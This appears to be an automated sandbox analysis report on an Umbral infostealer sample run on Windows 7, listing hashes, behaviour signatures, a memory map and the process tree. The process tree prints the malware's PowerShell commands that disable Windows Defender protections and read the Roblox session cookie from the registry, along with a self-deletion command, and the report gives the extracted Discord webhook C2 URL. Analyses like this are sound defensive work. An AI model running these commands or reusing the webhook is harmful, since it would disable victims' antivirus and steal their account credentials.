Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    13-12-2024 09:32

General

  • Target

    88556497794511dde0ca0a1bfee08922288a620c95a8bc6f67d50dbb81684b22.exe

  • Size

    3.0MB

  • MD5

    1335a17d311b929988693fb526dc4717

  • SHA1

    062830cb07ce430fe049627e001ef23fba8ba351

  • SHA256

    88556497794511dde0ca0a1bfee08922288a620c95a8bc6f67d50dbb81684b22

  • SHA512

    4a4496ed95c7ff13e8735646a6b8c478742a2f152a3733122fcbac54c0cd7c04571acae789c2ac67dc07d542663290c9e32b3335827e122470d8b887477d7bab

  • SSDEEP

    49152:NguQhMOPX5M+RXNM5428gYbM8gkw0Q4qAew+0Fr95s9e54OyRGEK2+qc2LBhW:6/hMOP2a9MLiVed0Zqe54OCGL2NLPW

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1118163594568286339/M-x5dkJ7qP3mQPZTzttw8LKBX9G63bPw9edrYMRuBg3sffUGWg-W4EW9HaBcdak0-wis

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\88556497794511dde0ca0a1bfee08922288a620c95a8bc6f67d50dbb81684b22.exe
    "C:\Users\Admin\AppData\Local\Temp\88556497794511dde0ca0a1bfee08922288a620c95a8bc6f67d50dbb81684b22.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Drops file in Drivers directory
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2592
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2756
    • C:\Windows\SysWOW64\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\88556497794511dde0ca0a1bfee08922288a620c95a8bc6f67d50dbb81684b22.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Views/modifies file attributes
      PID:2180
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\88556497794511dde0ca0a1bfee08922288a620c95a8bc6f67d50dbb81684b22.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2940
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2880
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2020
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1660
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1940
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1264
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2984
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2244
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      2⤵
      • System Location Discovery: System Language Discovery
      • Detects videocard installed
      PID:1788
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\88556497794511dde0ca0a1bfee08922288a620c95a8bc6f67d50dbb81684b22.exe" && pause
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\SysWOW64\PING.EXE
        ping localhost
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1908

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    808531d8d2bbc65cc6a588c5deb0fb3c

    SHA1

    9d9a9ef46da34c7acb94fbb6570225a07654568d

    SHA256

    a118ccd4de1a5020615492f14dc6d5fd071c84a0e201a1223b155148758714f6

    SHA512

    55abba1c1dc16768f4332260df277b732147f0579e6c38ba0bae8a52cc1812b9c632bfa188ee37811554d4c6b940cea8b215ef30e25c75be74e222eee460a57e

  • memory/2592-0-0x0000000000FE0000-0x0000000001824000-memory.dmp

    Filesize

    8.3MB

  • memory/2592-10-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-18-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-19-0x0000000000FE0000-0x0000000001824000-memory.dmp

    Filesize

    8.3MB

  • memory/2592-8-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-7-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-6-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-5-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-4-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-3-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-2-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-1-0x000000007663E000-0x000000007663F000-memory.dmp

    Filesize

    4KB

  • memory/2592-69-0x0000000000FE0000-0x0000000001824000-memory.dmp

    Filesize

    8.3MB

  • memory/2592-11-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-9-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-20-0x0000000000FE0000-0x0000000001824000-memory.dmp

    Filesize

    8.3MB

  • memory/2592-21-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-22-0x0000000000FE0000-0x0000000001824000-memory.dmp

    Filesize

    8.3MB

  • memory/2592-23-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-24-0x000000007663E000-0x000000007663F000-memory.dmp

    Filesize

    4KB

  • memory/2592-27-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-12-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-33-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-14-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-68-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB

  • memory/2592-13-0x0000000076630000-0x0000000076677000-memory.dmp

    Filesize

    284KB